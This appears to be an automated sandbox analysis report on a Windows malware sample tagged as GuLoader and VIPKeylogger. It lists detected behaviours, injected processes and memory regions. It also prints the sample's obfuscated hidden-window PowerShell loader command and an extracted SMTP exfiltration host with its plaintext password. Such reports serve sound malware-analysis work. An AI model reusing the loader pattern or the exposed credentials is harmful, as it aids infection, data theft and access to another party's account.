Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
10/10/2024, 10:35
General
- Target eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe
- Size 802KB
- Sample241010-mms95stfma
- SHA256 eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.terrazza.hr
-
Port
587
-
Username
-
Password
Vodenjak123!
-
Email to
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe"C:\Users\Admin\AppData\Local\Temp\eb63d3d88459c389d3bbf1e307d8a5e40d8ac30c4e9f8b03150e2d4c250896e8.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Wilsonkamret95=Get-Content 'C:\Users\Admin\AppData\Local\Temp\amtsborgmester\pipette\Menise\Knibningen\Eloxals.Fei';$Frkrigstids=$Wilsonkamret95.SubString(3882,3);.$Frkrigstids($Wilsonkamret95)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wabmig.exe"C:\Program Files (x86)\windows mail\wabmig.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_pes0zbx4.u5j.ps1
Eloxals.Fei
Normeringerne.Ava
memory/2464-67-0x00000000005C0000-0x000000000060A000-memory.dmp
memory/2464-70-0x0000000023890000-0x00000000238E0000-memory.dmp
memory/2464-69-0x00000000240F0000-0x00000000242B2000-memory.dmp
memory/2464-68-0x0000000023460000-0x00000000234FC000-memory.dmp
memory/2464-71-0x00000000247F0000-0x0000000024D1C000-memory.dmp
memory/2464-75-0x0000000023FC0000-0x0000000024052000-memory.dmp
memory/2464-66-0x00000000005C0000-0x0000000001814000-memory.dmp
memory/2464-65-0x00000000005C0000-0x0000000001814000-memory.dmp
memory/2464-51-0x0000000077C58000-0x0000000077C59000-memory.dmp
memory/2464-52-0x0000000077BD1000-0x0000000077CF1000-memory.dmp
memory/2464-49-0x0000000077BD1000-0x0000000077CF1000-memory.dmp
memory/2464-47-0x0000000001820000-0x0000000005640000-memory.dmp
memory/2464-76-0x0000000020EE0000-0x0000000020EEA000-memory.dmp
memory/3436-27-0x0000000006400000-0x000000000644C000-memory.dmp
memory/3436-31-0x0000000007BD0000-0x0000000008174000-memory.dmp
memory/3436-36-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-37-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-38-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-39-0x000000007418E000-0x000000007418F000-memory.dmp
memory/3436-33-0x0000000008800000-0x0000000008E7A000-memory.dmp
memory/3436-41-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-42-0x0000000008E80000-0x000000000CCA0000-memory.dmp
memory/3436-43-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-44-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-45-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-46-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-35-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-30-0x0000000006950000-0x0000000006972000-memory.dmp
memory/3436-29-0x0000000006900000-0x000000000691A000-memory.dmp
memory/3436-28-0x0000000007580000-0x0000000007616000-memory.dmp
memory/3436-50-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-9-0x000000007418E000-0x000000007418F000-memory.dmp
memory/3436-26-0x00000000063C0000-0x00000000063DE000-memory.dmp
memory/3436-25-0x0000000005DA0000-0x00000000060F4000-memory.dmp
memory/3436-15-0x0000000005CF0000-0x0000000005D56000-memory.dmp
memory/3436-14-0x0000000005C80000-0x0000000005CE6000-memory.dmp
memory/3436-13-0x0000000005490000-0x00000000054B2000-memory.dmp
memory/3436-12-0x0000000005560000-0x0000000005B88000-memory.dmp
memory/3436-11-0x0000000074180000-0x0000000074930000-memory.dmp
memory/3436-10-0x0000000002D60000-0x0000000002D96000-memory.dmp